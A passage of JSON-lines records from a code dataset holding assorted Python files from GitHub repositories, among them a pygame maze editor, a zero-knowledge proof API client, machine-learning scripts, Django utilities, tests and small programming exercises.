signal\")\n\n plt.show()\n\n dom, ran = smooth_fft(f, amp, delta=delta)\n\n fig, ax = plt.subplots(1)\n ax.plot(dom, ran)\n ax.set_yscale('log')\n ax.set_ylabel('Coefficient')\n ax.set_xlabel('Frequencies')\n ax.set_title(rf\"Smoothed Fourier transform of signal with $\\delta={delta}$\")\n\n plt.show()\n\n fig, ax = plt.subplots(1)\n ax.plot(dom, ran)\n ax.plot(dom[idx], ran[idx], 'bD') # plot blue square corresponding to most significant frequency peak\n ax.set_yscale('log')\n ax.set_xlabel('Frequencies')\n ax.set_ylabel('Coefficient')\n ax.set_title(\"Detected frequencies with HFF\")\n\n plt.show()\n\n # significance = get_significance(ran, idx, plot=True)\n # print(f'Significance of frequency {freq}: {significance}')\n \n if idx % 2 == 0:\n idx = idx // 2\n get_prob(signal, idx, plot=True)","repo_name":"HugoHF/dark_matter","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4416,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"28"}
+{"seq_id":"34693613802","text":"import pygame as pg\nimport json\nimport os\nfrom config import *\nfrom pygame.locals import *\n\npg.init()\n\n\nclass Main:\n def __init__(self, maze_arg):\n self.structure = maze_arg\n\n self.window = pg.display.set_mode((TILE_W * len(self.structure[0]),\n TILE_H * len(self.structure) + 50), RESIZABLE)\n\n self.path = pg.image.load(\"assets/path.png\").convert()\n self.wall = pg.image.load(\"assets/wall.png\").convert()\n self.guardian = pg.image.load(\"assets/guardian.png\").convert_alpha()\n self.hero = pg.image.load(\"assets/down.png\").convert_alpha()\n\n self.max_x = len(self.structure[0]) - 1\n self.max_y = len(self.structure) - 1\n\n def display_2d_maze(self):\n end = False\n pg.display.flip()\n for y_position, line in enumerate(self.structure):\n for x_position, tile in enumerate(line):\n x = x_position * TILE_W\n y = y_position * TILE_H\n if tile == 0:\n self.window.blit(self.path, (x, y))\n elif tile == 1:\n self.window.blit(self.wall, (x, y))\n elif tile == 3:\n self.window.blit(self.path, (x, y))\n self.window.blit(self.guardian, (x, y))\n elif tile == 4:\n self.window.blit(self.path, (x, y))\n self.window.blit(self.hero, (x, y))\n\n def refresh_message(self,text):\n rect = pg.draw.rect(self.window, (0, 0, 0), pg.Rect(0, 525, 525, 50))\n font = pg.font.SysFont(pg.font.get_default_font(),\n 20, bold=False, italic=False)\n message = font.render(text, True, (200, 255, 100))\n self.window.blit(message, (35, TILE_H * len(self.structure) + 20))\n pg.display.update()\n\n def run(self):\n self.display_2d_maze()\n self.refresh_message(\"\"\"\n Click to add/remove walls. Press ENTER to save maze as 'custom'.\n \"\"\")\n\n end = False\n placing_guardian = False\n placing_hero = False\n\n while not end:\n pg.display.flip()\n\n for event in pg.event.get():\n if event.type == QUIT:\n end = True\n elif event.type == pg.MOUSEBUTTONUP:\n mouse = pg.mouse.get_pos()\n x = mouse[0] // TILE_W\n y = mouse[1] // TILE_H\n\n if y > self.max_y:\n pass\n\n elif self.structure[y][x] == 3 and not placing_hero:\n self.window.blit(self.wall, (x * TILE_W, y * TILE_H))\n self.structure[y][x] = 1\n placing_guardian = True\n self.refresh_message(\"\"\"Your're holding the Exit/Guardian, drop him on an external wall.\"\"\")\n\n elif self.structure[y][x] == 4 and not placing_guardian:\n self.window.blit(self.wall, (x * TILE_W, y * TILE_H))\n self.structure[y][x] = 1\n placing_hero = True\n self.refresh_message(\"Your're holding the Hero, drop him on an external wall.\")\n\n elif (x == 0 or x == self.max_x or y == 0 or y == self.max_y) \\\n and ((x,y) not in [(0,0),(0,14),(14,0),(14,14)]) \\\n and placing_guardian and self.structure[y][x] != 4:\n self.window.blit(self.path, (x * TILE_W, y * TILE_H))\n self.window.blit(self.guardian, (x * TILE_W, y * TILE_H))\n self.structure[y][x] = 3\n placing_guardian = False\n self.refresh_message(\"Click to add/remove walls. Press ENTER to save maze as 'custom'.\")\n\n elif (x == 0 or x == self.max_x or y == 0 or y == self.max_y) \\\n and ((x,y) not in [(0,0),(0,14),(14,0),(14,14)]) \\\n and placing_hero and self.structure[y][x] != 3:\n self.window.blit(self.path, (x * TILE_W, y * TILE_H))\n self.window.blit(self.hero, (x * TILE_W, y * TILE_H))\n self.structure[y][x] = 4\n placing_hero = False\n self.refresh_message(\"Click to add/remove walls. Press ENTER to save maze as 'custom'.\")\n\n elif x != 0 and x != self.max_x and y != 0 and y != self.max_y:\n if self.structure[y][x] == 0:\n self.window.blit(self.wall,\n (x * TILE_W, y * TILE_H))\n self.structure[y][x] = 1\n elif self.structure[y][x] == 1:\n self.window.blit(self.path,\n (x * TILE_W, y * TILE_H))\n self.structure[y][x] = 0\n\n\n elif event.type == KEYDOWN:\n if event.key == K_RETURN:\n with open('mazes/custom.json', 'w') as maze_file:\n json.dump(self.structure, maze_file)\n pass\n end = True\n\nmain = Main(BASE)\nmain.run()\n","repo_name":"gil-x/oc-projet-3","sub_path":"editor.py","file_name":"editor.py","file_ext":"py","file_size_in_byte":5286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"26422132972","text":"import sys\n\ndef fib(n):\n if n >= 0 and n <= 2:\n return 1\n else:\n return fib(n-1) + fib(n-2)\n\nif __name__ == \"__main__\":\n n = sys.argv[1]\n print(\"The\",n,\"th Fibonacci number is:\", fib(int(n)))\n","repo_name":"jmschabdach/programming-challenges","sub_path":"fibonacci/nth_fibonacci.py","file_name":"nth_fibonacci.py","file_ext":"py","file_size_in_byte":218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"34894349842","text":"import json\nimport os\nimport sys\nimport time\nimport tarfile\nimport io\nimport pprint\n\nimport requests # pip install requests\n\n# You should pass your key in as an environment variable\nAPI_KEY = os.getenv(\"SINDRI_API_KEY\", \"\")\n\n# Use V1 of Sindri API\nAPI_VERSION = \"v1\"\nAPI_URL = f\"https://forge.sindri.app/api/{API_VERSION}/\"\n\n#Define various headers\nheaders_json = {\n \"Accept\": \"application/json\",\n \"Authorization\": f\"Bearer {API_KEY}\"\n}\nheaders_multipart = {\n \"Accept\": \"multipart/form-data\",\n \"Authorization\": f\"Bearer {API_KEY}\"\n}\nheaders_urlencode = {\n \"Accept\": \"application/json\",\n \"Content-Type\": \"application/x-www-form-urlencoded\",\n \"Authorization\": f\"Bearer {API_KEY}\"\n}\n\n# Create new circuit\ncreation_response = requests.post(\n API_URL + \"circuit/create\",\n headers=headers_json,\n data={\n \"circuit_name\": \"sudoku\",\n \"circuit_type\": \"Circom\"\n },\n)\nassert creation_response.status_code == 201\ncircuit_id = creation_response.json().get(\"circuit_id\")\nprint(f\"Circuit ID: {circuit_id}\")\n\n# Create a tar archive and upload via byte stream\nfh = io.BytesIO()\nwith tarfile.open(fileobj=fh, mode='w:gz') as tar:\n tar.add(\"circuit/\")\nfiles = {\"files\": fh.getvalue()}\n\n# Upload the circuit file\nupload_response = requests.post(\n API_URL + f\"circuit/{circuit_id}/uploadfiles\",\n headers=headers_multipart,\n files=files\n)\nassert upload_response.status_code == 201\n\n\n# Initiate compilation\ncompile_response = requests.post(\n API_URL + f\"circuit/{circuit_id}/compile\",\n headers=headers_json\n)\nassert compile_response.status_code == 201\n\n\n# Poll circuit detail unitl it has a status of Ready or Failed\nTIMEOUT = 600 # timeout after 10 minutes\nfor i in range(TIMEOUT):\n response = requests.get(\n API_URL + f\"circuit/{circuit_id}/detail\" ,\n headers=headers_json,\n params={\"include_verification_key\": False},\n )\n assert (\n response.status_code == 200\n ), f\"Expected status code 200, received {response.status_code}.\"\n status = response.json()[\"status\"]\n if status in [\"Ready\", \"Failed\"]:\n print(f\"Circuit poll exited after {i} seconds with status: {status}\")\n break\n time.sleep(1)\nelse:\n sys.exit(\"Circuit compile polling timed out\")\n\n# Check for compilation issues\nif status == \"Failed\":\n sys.exit(\"Circuit compilation failed\")\n\npprint.pprint(response.json(), depth=2, indent=2, width=40)\n\n\n# Initiate proof generation\nwith open(\"example_solution.json\",\"r\") as proof_file:\n proof_input = json.dumps(json.load(proof_file))\nproof_response = requests.post(\n API_URL + f\"circuit/{circuit_id}/prove\",\n headers=headers_urlencode,\n data={\n \"proof_input\": proof_input,\n },\n)\nassert proof_response.status_code == 201\nproof_id = proof_response.json()[\"proof_id\"]\nprint(f\"Proof ID: {proof_id}\")\n\n# Poll proof status\nTIMEOUT = 1200 #timeout after 20 minutes\naction_complete = False\nfor i in range(TIMEOUT):\n poll_response = requests.get(\n API_URL + f\"proof/{proof_id}/detail\",\n headers=headers_json,\n params={\n \"include_proof_input\": False,\n \"include_public\": True,\n \"include_verification_key\": True,\n \"include_proof\": True,\n }\n )\n status = poll_response.json()[\"status\"]\n if status in [\"Ready\", \"Failed\"]:\n print(f\"Proof poll exited after {i} seconds with status: {status}\")\n action_complete = True\n break\n time.sleep(1)\n\n# Check for proving issues\nif not action_complete:\n sys.exit(\"Proof polling timed out\")\nelif status == \"Failed\":\n sys.exit(\"Proving failed\")\nelse:\n proof_detail = poll_response.json()\n\n# Save Artifacts for Verification\nwith open(\"verification_key.json\",\"w\") as outfile:\n json.dump(proof_detail[\"verification_key\"], outfile, indent=4)\nwith open(\"public.json\",\"w\") as outfile:\n json.dump(proof_detail[\"public\"], outfile, indent=4)\nwith open(\"proof.json\",\"w\") as outfile:\n json.dump(proof_detail[\"proof\"], outfile, indent=4)\n\n# Retrieve output from the proof\npprint.pprint(proof_detail, depth=1, indent=2, width=40)\nprint(proof_detail[\"public\"])","repo_name":"Sindri-Labs/forge-sample-data","sub_path":"circom/sudoku/compile_and_prove.py","file_name":"compile_and_prove.py","file_ext":"py","file_size_in_byte":4130,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"28"}
+{"seq_id":"74203889354","text":"from cnn_util import conv,pool,dropout\r\nfrom keras.layers import Dense,Input, Flatten,concatenate\r\nfrom keras.models import Model\r\nIMG_SIZE =48\r\nNUM_CLASSES =43\r\ndef inception_model(x):\r\n layer1 = conv(x, 16, (3, 3), padding='same', strides=(2, 2), name='layer1')\r\n layer2 = conv(layer1, 48, (5, 5), padding='same', strides=(1, 1), name='layer2')\r\n layer3 = conv(layer2, 48, (3, 3), padding='same', strides=(2, 2), name='layer3')\r\n layer3_pool = pool(layer3,pool_size=(3, 3), strides=(1, 1), padding='same',pool_type='max')\r\n layer4 = dropout(layer3_pool,rate = 0.2)\r\n\r\n branch1_1 = conv(layer4, 64, (3, 3), padding='same', strides=(2, 2), name='branch1_1')\r\n branch1_2 = conv(branch1_1, 64, (5, 5), padding='same', strides=(1, 1), name='branch1_2')\r\n\r\n branch2_1 = conv(layer4, 64, (5, 5), padding='same', strides=(1, 1), name='branch2_1')\r\n branch2_2 = conv(branch2_1, 64, (7, 7), padding='same', strides=(2, 2), name='branch2_2')\r\n\r\n branch3_1 = pool(layer4,pool_size=(5, 5), strides=(1, 1), padding='same', name='branch3_1',pool_type='max')\r\n branch3_2 = conv(branch3_1, 64, (5, 5), padding='same', strides=(2, 2), name='branch3_2')\r\n\r\n x = concatenate([branch1_2, branch2_2, branch3_2], axis=3)\r\n return x\r\n\r\ndef cnn_model():\r\n data_input = Input(shape=(IMG_SIZE, IMG_SIZE, 3))\r\n x = inception_model(data_input)\r\n x = conv(x, 128, (3, 3), padding='same', strides=(1, 1), name='layer5')\r\n x = conv(x, 256, (3, 3), padding='same', strides=(2, 2), name='layer6')\r\n x = pool(x,pool_size=(3, 3), strides=(1, 1), padding='same', name='layer7',pool_type='max')\r\n x = dropout(x,rate=0.5)\r\n x = Flatten()(x)\r\n x = Dense(256, activation='relu')(x)\r\n x = Dense(NUM_CLASSES, activation='softmax')(x)\r\n x = Model(data_input, x, name='inception')\r\n return x","repo_name":"jacobssy/Traffic_Sign_detection","sub_path":"classfify/cnn_model.py","file_name":"cnn_model.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"28"}
+{"seq_id":"14973686648","text":"import pandas as pd\nimport numpy as np\nimport seaborn as sns\nimport matplotlib.pylab as plt\nplt.style.use('bmh')\n\n\ntrain=pd.read_csv('titanic_train.csv')\nprint(train.head())\n\n#plt.figure(figsize=(10,8))\n#sns.heatmap(train.isnull(),cbar=False)\n#plt.show()\n\n#plt.figure(figsize=(10,8))\n#sns.countplot(x=\"Survived\",data=train)\n#plt.show()\n\n#sns.countplot(x='Survived',hue='Sex',data=train,palette='rainbow')\n#plt.show()\n\n#sns.distplot(train['Age'].dropna(),bins=20)\n#plt.show()\n\n#train['Fare'].hist()\n#plt.show()\n\n##########cleaning data#####################\n\n#plt.figure(figsize=(10,8))\n#sns.boxplot(x='Pclass',y='Age',data=train)\n#plt.show()\n\n#impute the age missing data by average of pclass\ndef impute_age(cols):\n Age=cols[0]\n Pclass=cols[1]\n if pd.isnull(Age):\n\n if Pclass == 1:\n return 37\n elif Pclass == 2:\n return 29\n else:\n return 24\n\n else:\n return Age\n\ntrain['Age']=train[['Age','Pclass']].apply(impute_age,axis=1)\n\n#plt.figure(figsize=(10,8))\n#sns.heatmap(train.isnull(),yticklabels=False,cbar=False)\n#plt.show()\n\ntrain.drop('Cabin',axis=1,inplace=True)\nprint(train.head())\n\n#drop misssin data\ntrain.dropna(inplace=True) #return none\n\nprint(train.info())\n\n#convert categorials to dummy variables\nsex=pd.get_dummies(train['Sex'],drop_first=True)\nembark=pd.get_dummies(train['Embarked'],drop_first=True)\n\n\ntrain.drop(['Sex','Embarked','Name','Ticket'],axis=1,inplace=True)\nprint(train.head())\ntrain=pd.concat([train,sex,embark],axis=1)\nprint(train.head())\n\n\n# training logistic regression model\nfrom sklearn.model_selection import train_test_split\nx=train.drop('Survived',axis=1)\ny=train['Survived']\n\nx_train,x_test,y_train,y_test=train_test_split(x,y,test_size=0.30,random_state=27)\n\nfrom sklearn.linear_model import LogisticRegression\nlogmodel=LogisticRegression()\nlogmodel.fit(x_train,y_train)\n\npredictions=logmodel.predict(x_test)\n\nfrom sklearn.metrics import classification_report\nprint(classification_report(y_test,predictions))\n\nfrom sklearn.metrics import confusion_matrix\nsns.heatmap(confusion_matrix(y_test,predictions))\nprint(confusion_matrix(y_test,predictions))\nplt.show()\n\n","repo_name":"sadeghmdi/ML","sub_path":"titanic.py","file_name":"titanic.py","file_ext":"py","file_size_in_byte":2167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"1440901737","text":"import os\nfrom setuptools import setup, find_packages\n\nwith open(os.path.join(os.path.dirname(__file__), 'README.md')) as readme:\n README = readme.read()\n\n# allow setup.py to be run from any path\nos.chdir(os.path.normpath(os.path.join(os.path.abspath(__file__), os.pardir)))\n\nsetup(\n name='django-mediamanager',\n version='0.1.1',\n packages=find_packages(),\n include_package_data=True,\n description='A central repository for Django apps to register any static media that needs to be included.',\n long_description=README,\n author='Jason Beverage',\n url=\"https://github.com/jasonbeverage/django-mediamanager\",\n install_requires=[\"Django>=1.9\"]\n)","repo_name":"jasonbeverage/django-mediamanager","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"28"}
+{"seq_id":"21045274724","text":"from django.core.management.base import BaseCommand\nfrom easy_thumbnails.models import Source, Thumbnail\nfrom weltladen.models import WeltladenProduct\nfrom django.conf import settings\nimport os\n\nclass Command(BaseCommand):\n help = \"Iterates over all files in Filer and creates an IconFont for all eligibles.\"\n\n def add_arguments(self, parser):\n parser.add_argument(\n '--dry-run',\n dest='dry_run',\n action='store_true'\n )\n parser.set_defaults(dry_run=False)\n\n def handle(self, verbosity, *args, **options):\n self.dry_run = options['dry_run']\n self.verbosity = verbosity\n self.delete_thumbnails()\n\n def clean_thumbnails(self, model):\n sources = Source.objects.filter(name=model.file.name)\n if sources.exists():\n for thumb in Thumbnail.objects.filter(source=sources[0]):\n try:\n path = os.path.join(settings.MEDIA_ROOT, thumb.name)\n if self.dry_run:\n print('Would delete: '+ path)\n else:\n os.remove(path)\n thumb.delete()\n except Exception as e:\n print(\"error \" + e.message)\n\n def delete_thumbnails(self):\n for p in WeltladenProduct.objects.all():\n for i in p.images.all():\n self.clean_thumbnails(i)","repo_name":"markusmo/weltladenbaden","sub_path":"weltladen/management/commands/clear_thumbnails.py","file_name":"clear_thumbnails.py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"38483460736","text":"# От конзолата се чете:\n# •\tНа първи ред – бюджетът - реално число в интервала [1.00… 100000.00]\n# •\tСлед това поредица от два реда (до получаване на команда \"Stop\" или\n# при заявка за купуване на продукт, чиято стойност е по-висока от наличния бюджет) :\n# o\tИме на продукта – текст\n# o\tЦена на продукта – реално число в интервала [1.00… 5000.00]\n\nbudget = float(input())\nproduct_name = input()\n\ncounter = 0\nall_products_price = 0\n\nwhile product_name != 'Stop':\n product_price = float(input())\n counter += 1\n if counter % 3 == 0:\n all_products_price += product_price / 2\n else:\n all_products_price += product_price\n\n if all_products_price > budget:\n print(f\"You don't have enough money!\")\n needed_money = all_products_price - budget\n print(f\"You need {needed_money:.2f} leva!\")\n break\n\n product_name = input()\n\nelse:\n print(f'You bought {counter} products for {all_products_price:.2f} leva.')\n","repo_name":"MatDvt/Python","sub_path":"pythonBasics/TestExam_28 and 29 March 2020/ExamPreparaton/05. Tourist Shop.py","file_name":"05. Tourist Shop.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"bg","doc_type":"code","stars":1,"dataset":"github-code","pt":"28"}
+{"seq_id":"37721144238","text":"import os\nimport pickle\nimport shutil\nfrom pathlib import Path\nfrom typing import List\n\nfrom immuneML.IO.ml_method.MLMethodConfiguration import MLMethodConfiguration\nfrom immuneML.hyperparameter_optimization.states.HPItem import HPItem\nfrom immuneML.preprocessing.Preprocessor import Preprocessor\nfrom immuneML.util.PathBuilder import PathBuilder\n\n\nclass MLExporter:\n\n @staticmethod\n def export_zip(hp_item: HPItem, path: Path, label_name: str) -> str:\n state_path = path.absolute()\n export_path = MLExporter.export(hp_item, state_path / \"exported\")\n filename = f\"ml_settings_{label_name}\"\n abs_zip_path = Path(shutil.make_archive(state_path / \"zip\" / filename, \"zip\", str(export_path))).absolute()\n return abs_zip_path\n\n @staticmethod\n def export(hp_item: HPItem, path: Path) -> Path:\n PathBuilder.build(path)\n preproc_filename = MLExporter._store_preprocessing_sequence(hp_item.hp_setting.preproc_sequence, path).name\n encoder_filename = MLExporter._store_encoder(hp_item.hp_setting.encoder, path).name\n\n hp_item.method.store(path, hp_item.method.get_feature_names())\n\n method_config = MLMethodConfiguration(label_name=hp_item.method.get_label_name(),\n label_positive_class=hp_item.method.get_positive_class(),\n label_values=hp_item.method.get_classes(),\n software_used=hp_item.method.get_package_info(),\n encoding_name=hp_item.hp_setting.encoder_name, encoding_parameters=hp_item.hp_setting.encoder_params,\n encoding_file=encoder_filename, encoding_class=type(hp_item.hp_setting.encoder).__name__,\n ml_method=type(hp_item.method).__name__, ml_method_name=hp_item.method.name,\n train_dataset_id=hp_item.train_dataset.identifier, train_dataset_name=hp_item.train_dataset.name,\n preprocessing_sequence_name=hp_item.hp_setting.preproc_sequence_name,\n preprocessing_file=os.path.basename(preproc_filename),\n preprocessing_parameters={type(seq).__name__: {str(key): str(val) for key, val in vars(seq).items()}\n for seq in hp_item.hp_setting.preproc_sequence})\n\n method_config.store(path / 'ml_config.yaml')\n\n return path\n\n @staticmethod\n def _store_encoder(encoder, path: Path) -> Path:\n filename = path / \"encoder.pickle\"\n type(encoder).store_encoder(encoder, filename)\n return filename\n\n @staticmethod\n def _store_preprocessing_sequence(preprocessing_sequence: List[Preprocessor], path: Path) -> Path:\n filename = path / \"preprocessing_sequence.pickle\"\n\n with filename.open(\"wb\") as file:\n pickle.dump(preprocessing_sequence, file)\n\n return filename\n","repo_name":"uio-bmi/immuneML","sub_path":"immuneML/IO/ml_method/MLExporter.py","file_name":"MLExporter.py","file_ext":"py","file_size_in_byte":3131,"program_lang":"python","lang":"en","doc_type":"code","stars":53,"dataset":"github-code","pt":"28"}
+{"seq_id":"27568126686","text":"from recurring_content_detector.detector import fill_gaps, get_two_longest_timestamps\nimport numpy as np\n\ndef test_fill_gaps_regular():\n input = np.array([0,0,1,0,0,0,0,1,0,0])\n expected = [0,0,1,1,1,1,1,1,0,0]\n\n output = fill_gaps(input, lookahead=6)\n\n assert expected == output.tolist()\n\n\ndef test_fill_gaps_largerlookahaead():\n input = np.array([0,0,1,0,0,0,0,1,0,0])\n expected = [0,0,1,1,1,1,1,1,0,0]\n\n output = fill_gaps(input, lookahead=20)\n\n assert expected == output.tolist()\n\n\n\ndef test_fill_gaps_smalllookahaead():\n input = np.array([0,0,1,0,0,0,0,1,0,0])\n expected = [0,0,1,0,0,0,0,1,0,0]\n\n output = fill_gaps(input, lookahead=3)\n\n assert expected == output.tolist()\n\n\ndef test_get_two_longest_timestamps_regular():\n input = [(0,10), (0,5), (20,21)]\n expected = [(0,10), (0,5)]\n\n output = get_two_longest_timestamps(input)\n\n assert expected == output\n\ndef test_get_two_longest_timestamps_singlevalue():\n input = [(0,10)]\n expected = [(0,10)]\n\n output = get_two_longest_timestamps(input)\n\n assert expected == output","repo_name":"nielstenboom/recurring-content-detector","sub_path":"tests/test_detector.py","file_name":"test_detector.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","stars":75,"dataset":"github-code","pt":"28"}
+{"seq_id":"71642829836","text":"# 수식최대화2를 참고한 내풀이.\n\nfrom itertools import permutations\nimport re\n\ndef solution(expression):\n answer = []\n # oper = set()\n # for i in expression:\n # if not i.isdigit():\n # oper.add(i)\n # oper = list(oper)\n oper = [x for x in ['*', '+', '-'] if x in expression] # 위 5줄을 한줄로 만들수있는 코드\n\n opers = list(list(x) for x in permutations(oper, len(oper)))\n li = re.split(r'(\\D)', expression) # 정규표현식\n\n print('opers',opers)\n print('li',li)\n\n for op in opers:\n _op = op[:] # 굳이 deepcopy를 안써도 되는군.. [:]는 얕은 복사 인듯하다.\n _li = li[:]\n for i in _op:\n while i in _li:\n index = _li.index(i)\n calcul = _li[index-1] + _li[index] + _li[index+1]\n num = eval(calcul)\n _li[index] = str(num)\n del _li[index+1]\n del _li[index-1]\n answer.append(_li[0])\n print('answer ', answer)\n\n return max([abs(int(i)) for i in answer])\n\n\nprint(solution(\"100-200*300-500+20\"))","repo_name":"yongmon01/AlgorithmStudy","sub_path":"카카오문제/2020인턴쉽/수식최대화3.py","file_name":"수식최대화3.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"35101536164","text":"import datetime\r\nimport pytz\r\n\r\n\r\ndef get_days_until_birthday(birth_month, birth_day):\r\n current_time = datetime.datetime.now(pytz.timezone('Europe/Bucharest'))\r\n birthday_this_year = datetime.date(current_time.year, birth_month, birth_day)\r\n birthday_next_year = datetime.date(current_time.year + 1, birth_month, birth_day)\r\n today = datetime.date(current_time.year, current_time.month, current_time.day)\r\n if birthday_this_year < today:\r\n diff = birthday_next_year - today\r\n else:\r\n diff = birthday_this_year - today\r\n print(f'Pana la ziua ta mai sunt: {diff.days} de zile')\r\n if today == birthday_this_year:\r\n print('La multi ani, de ziua ta!')\r\n\r\nprint('Hai sa verificam cat mai e pana la ziua ta, completeaza urmatoarele date.')\r\nuser_birth_month = int(input('Luna in care iti serbezi ziua (MM): '))\r\nuser_birth_day = int(input('Ziua in care iti serbezi ziua(DD): '))\r\nget_days_until_birthday(user_birth_month, user_birth_day)\r\n\r\n\r\n\r\n# from datetime import date\r\n# date_components = input('Enter your birthday formatted as YYYY-MM-DD: ').split('-')\r\n# year, month, day = [int(item) for item in date_components]\r\n# birthday = date(year, month, day)\r\n#\r\n# today = date.today()\r\n#\r\n# def calculate_dates(birthday, today):\r\n# birthday = date(today.year, birthday.month, birthday.day)\r\n# if birthday < today:\r\n# birthday = birthday.replace(year=today.year + 1)\r\n# return birthday\r\n# else:\r\n# return birthday\r\n#\r\n#\r\n#\r\n#\r\n# bday = birthday\r\n# t = calculate_dates(birthday, today)\r\n# time_to_birthday = abs(t-today)\r\n# days=str(time_to_birthday.days)\r\n# print(\"Time to Birthday is :\" + days + \" days\")","repo_name":"SimaElisabeta/ITFactoryHomework","sub_path":"sesiunea5/teste/test_studiu5.py","file_name":"test_studiu5.py","file_ext":"py","file_size_in_byte":1680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"73044319754","text":"from typing import Dict\nfrom shelley.parsers.yaml import yaml2shelley\nfrom shelley.ast.devices import Device\nfrom shelley.ast.visitors.pprint import PrettyPrintVisitor\n\nyaml_led = \"\"\"\n name: Led\n start_with: [on]\n end_with: $ANY\n operations:\n on:\n next: [off]\n off:\n next: [on]\n\"\"\"\n\nyaml_button = \"\"\"\n name: Button\n start_with: [pressed]\n end_with: $ANY\n operations:\n pressed:\n next: [released]\n released:\n next: [pressed]\n\"\"\"\n\nyaml_timer = \"\"\"\n name: Timer\n start_with: [started]\n end_with: [canceled, timeout]\n operations:\n started:\n next: [canceled, timeout]\n canceled:\n next: [started]\n timeout:\n next: [started]\n\"\"\"\n\nyaml_desklamp = \"\"\"\n name: DeskLamp\n subsystems:\n ledA: Led\n ledB: Led\n b: Button\n t: Timer\n start_with: [level1]\n end_with: $ANY\n operations:\n level1:\n integration: [b.pressed, b.released, ledA.on, t.started]\n next: [standby1, level2]\n level2:\n next: [standby2]\n integration:\n - b.pressed\n - b.released\n - xor:\n - [t.canceled, ledB.on]\n - [ledB.on, t.canceled]\n - t.started\n standby1:\n next: [level1]\n integration: [t.timeout, ledA.off]\n standby2:\n next: [level1]\n integration:\n - xor:\n - [b.pressed, b.released, t.canceled]\n - t.timeout\n - xor:\n - [ledB.off, ledA.off]\n - [ledA.off, ledB.off]\n\"\"\"\n\n\ndef test_pprint_led() -> None:\n visitor = PrettyPrintVisitor()\n yaml2shelley.get_shelley_from_yaml_str(yaml_led).accept(visitor)\n expected_str = \"\"\"Device Led:\n events:\n on, off\n start events:\n on\n final events:\n on, off\n behaviours:\n on -> off\n off -> on\n triggers:\n on: fired\n off: fired\n\n\"\"\"\n print(visitor.result)\n assert (\n visitor.result == expected_str\n ) # this can be wrong because Set doesn't guarantee elements ordering\n\n\ndef test_pprint_button() -> None:\n visitor = PrettyPrintVisitor()\n yaml2shelley.get_shelley_from_yaml_str(yaml_button).accept(visitor)\n print(visitor.result)\n\n\ndef test_pprint_timer() -> None:\n visitor = PrettyPrintVisitor()\n yaml2shelley.get_shelley_from_yaml_str(yaml_timer).accept(visitor)\n print(visitor.result)\n\n\ndef test_pprint_desklamp() -> None:\n declared_devices: Dict[str, Device] = {}\n\n d_led: Device = yaml2shelley.get_shelley_from_yaml_str(yaml_led)\n declared_devices[d_led.name] = d_led\n\n d_button: Device = yaml2shelley.get_shelley_from_yaml_str(yaml_button)\n declared_devices[d_button.name] = d_button\n\n d_timer: Device = yaml2shelley.get_shelley_from_yaml_str(yaml_timer)\n declared_devices[d_timer.name] = d_timer\n\n d_desk_lamp: Device = yaml2shelley.get_shelley_from_yaml_str(yaml_desklamp)\n\n visitor = PrettyPrintVisitor(components=d_desk_lamp.components)\n d_desk_lamp.accept(visitor)\n print(visitor.result)\n\n expected_str = \"\"\"Device DeskLamp uses Led, Button, Timer:\n events:\n level1, level2, standby1, standby2\n start events:\n level1\n final events:\n level1, level2, standby1, standby2\n behaviours:\n level1 -> standby1\n level1 -> level2\n level2 -> standby2\n standby1 -> level1\n standby2 -> level1\n subsystems:\n Led ledA, Led ledB, Button b, Timer t\n triggers:\n level1: b.pressed; b.released; ledA.on; t.started;\n level2: b.pressed; b.released; (t.canceled; ledB.on;) xor (ledB.on; t.canceled;) t.started;\n standby1: t.timeout; ledA.off;\n standby2: (b.pressed; b.released; t.canceled;) xor (t.timeout;) (ledB.off; ledA.off;) xor (ledA.off; ledB.off;)\n\n\"\"\"\n\n assert (\n visitor.result == expected_str\n ) # this can be wrong because Set doesn't guarantee elements ordering\n","repo_name":"cajomferro/shelley","sub_path":"tests/test_yaml/test_pprint_visitor.py","file_name":"test_pprint_visitor.py","file_ext":"py","file_size_in_byte":3807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"70433242634","text":"import pandas as pd\nimport numpy as np\nimport tensorflow\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom tensorflow.keras.preprocessing.text import one_hot\nfrom tensorflow.keras.layers import Embedding\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\nfrom tensorflow.keras.models import Sequential\nfrom sklearn.metrics.pairwise import cosine_similarity,cosine_distances\nfrom sklearn.metrics.pairwise import euclidean_distances\n\nn='TargetDataBasecsv.csv'\nm='completedclient.csv'\ndf=pd.read_csv(n)\ndf1=pd.read_csv(m)\n\nfirst=df1.iloc[0].tolist()\n\nfrom sklearn.preprocessing import OneHotEncoder\nenc = OneHotEncoder(handle_unknown='ignore')\n'''\ndef sample(first):\n return first\nx=np.vectorize(sample,otypes=[np.ndarray])\na = np.arange(19)\nprint(x(a))\n#print(x)\n'''\nnewdf=[]\nfor i in first:\n res=isinstance(i,str)\n if res:\n newdf.append(i)\nprint(newdf)\nvectorizer = CountVectorizer()\nX = vectorizer.fit_transform(newdf)\nprint(X.toarray())\nprint(X.shape)\n\nvectorizer1 = TfidfVectorizer()\nY = 